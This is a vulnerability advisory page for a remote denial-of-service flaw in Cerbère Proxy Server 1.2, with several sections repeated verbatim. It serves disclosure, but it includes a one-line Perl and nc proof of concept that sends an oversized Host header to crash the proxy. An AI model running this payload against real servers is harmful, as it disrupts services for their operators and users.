Cerbère Proxy Server Long Host Header Field Remote Denial of Service Vulnerability
BID:11085
Info
Cerbère Proxy Server Long Host Header Field Remote Denial of Service Vulnerability
| Bugtraq ID: | 11085 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 01 2004 12:00AM |
| Updated: | Sep 01 2004 12:00AM |
| Credit: | Discovery is credited to GSS IT <[email protected]>. |
| Vulnerable: |
Cerbère Proxy Server Cerbère Proxy Server 1.2 |
| Not Vulnerable: | |
Discussion
Cerbère Proxy Server Long Host Header Field Remote Denial of Service Vulnerability
Cerbère Proxy server is reported prone to a remote denial of service vulnerability. This issue presents itself when a remote attacker sends a malformed HTTP GET request to the server.
A remote attacker may cause a denial of service condition in the proxy leading to a crash or hang.
Cerbère Proxy 1.2 is reported prone to this issue, however, other versions may be affected as well.
Cerbère Proxy server is reported prone to a remote denial of service vulnerability. This issue presents itself when a remote attacker sends a malformed HTTP GET request to the server.
A remote attacker may cause a denial of service condition in the proxy leading to a crash or hang.
Cerbère Proxy 1.2 is reported prone to this issue, however, other versions may be affected as well.
Exploit / POC
Cerbère Proxy Server Long Host Header Field Remote Denial of Service Vulnerability
No exploit is required.
The following proof of concept is available:
perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP" 3128
No exploit is required.
The following proof of concept is available:
perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP" 3128
Solution / Fix
Cerbère Proxy Server Long Host Header Field Remote Denial of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Cerbère Proxy Server Long Host Header Field Remote Denial of Service Vulnerability
References:
References:
- Cerbère Proxy Server Homepage (Cerbère Proxy Server)